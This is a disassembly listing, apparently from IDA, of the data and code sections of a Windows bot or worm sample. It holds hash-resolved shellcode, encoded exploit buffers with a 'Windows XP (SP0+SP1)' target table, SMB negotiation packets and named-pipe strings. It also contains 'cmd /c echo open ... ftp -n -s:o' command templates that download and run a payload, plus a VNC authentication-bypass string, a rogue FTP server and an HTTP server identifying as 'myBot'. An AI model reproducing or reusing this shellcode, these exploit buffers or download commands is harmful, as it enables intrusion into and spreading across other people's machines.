		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4318D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4318F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431948	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A18	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A4C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A74	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AEC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B8C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C40	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C48	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C4C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C54	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D0C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D18	db  81h	; │		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D64	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DA8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EA4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EBA
		mov	[esi+8], eax
		call	sub_431E6D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EBA
		mov	[esi+0Ch], eax
		call	sub_431E1F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EBA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E1F	proc near		; CODE XREF: sub_431DA8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E48
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E48	proc near		; CODE XREF: sub_431E1F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_431E57:				; CODE XREF: sub_431E48+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E64
		inc	ebx
		jmp	short loc_431E57
; ---------------------------------------------------------------------------


loc_431E64:				; CODE XREF: sub_431E48+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E6D	proc near		; CODE XREF: sub_431DA8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_431E85:				; CODE XREF: sub_431E6D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E8D
		mov	ecx, [ecx]
		jmp	short loc_431E85
; ---------------------------------------------------------------------------


loc_431E8D:				; CODE XREF: sub_431E6D+1Aj
		mov	edx, edi


loc_431E8F:				; CODE XREF: sub_431E6D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431E99
		mov	edx, [edx+4]
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------


loc_431E99:				; CODE XREF: sub_431E6D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EA4	proc near		; CODE XREF: sub_431DA8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EBA	proc near		; CODE XREF: sub_431DA8+16p
					; sub_431DA8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_431ED0:				; CODE XREF: sub_431EBA+33j
		jecxz	short loc_431F0A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_431EDD:				; CODE XREF: sub_431EBA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EE9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EDD
; ---------------------------------------------------------------------------


loc_431EE9:				; CODE XREF: sub_431EBA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_431F0A:				; CODE XREF: sub_431EBA:loc_431ED0j
					; sub_431EBA:loc_431F0Aj
		jmp	short loc_431F0A
sub_431EBA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F10	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F62
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_431F2D:				; CODE XREF: sub_431F10+38j
		jecxz	short loc_431F5D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_431F38:				; CODE XREF: sub_431F10+32j
		lodsb
		test	al, al
		jz	short loc_431F44
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F38
; ---------------------------------------------------------------------------


loc_431F44:				; CODE XREF: sub_431F10+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F2D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_431F5D:				; CODE XREF: sub_431F10:loc_431F2Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F62	proc near		; CODE XREF: sub_431F10+7p

; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F7B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F86
; ---------------------------------------------------------------------------


loc_431F7B:				; CODE XREF: sub_431F62+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_431F86:				; CODE XREF: sub_431F62+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431F9A
sub_431F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F8D	proc near		; CODE XREF: sub_431F62:loc_431F9Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F62


loc_431F9A:				; CODE XREF: sub_431F62+29j
		call	sub_431F8D


loc_431F9F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F62
; ---------------------------------------------------------------------------
		dw 0
dword_431FA4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FB4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FB8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_431FC4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FCC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FCC	dd 0			; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432038	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_432044:				; CODE XREF: ___:0043204Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432044
		inc	edi
		jz	short loc_43208B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320B3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_43208B:				; CODE XREF: ___:00432051j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320EA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4320B0:				; CODE XREF: ___:004320DDj
		xor	[esi-25h], bl


loc_4320B3:				; CODE XREF: ___:00432059j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4320CC:				; CODE XREF: ___:004320FFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4320EA:				; CODE XREF: ___:00432091j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432176
		jo	short loc_4320CC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43210D+1
		add	bl, [edi]


loc_43210D:				; CODE XREF: ___:00432109j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432122+2
		cmp	ch, bh
		dec	edx


loc_432122:				; CODE XREF: ___:0043211Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_432176:				; CODE XREF: ___:004320FDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4321FC
		sub	al, 0BCh
		jmp	near ptr 5445256Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198	dd 0EFFFC481h, 44FFFFh,	4321E4h	; DATA XREF: ___:0040DC32o
dword_4321A4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321A8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321AC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321C8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4321FC:				; CODE XREF: ___:00432180j
		push	eax
		xor	al, 29h


loc_4321FF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432208	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43221C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433508	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43350C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C70o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C7Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337F4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43381C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
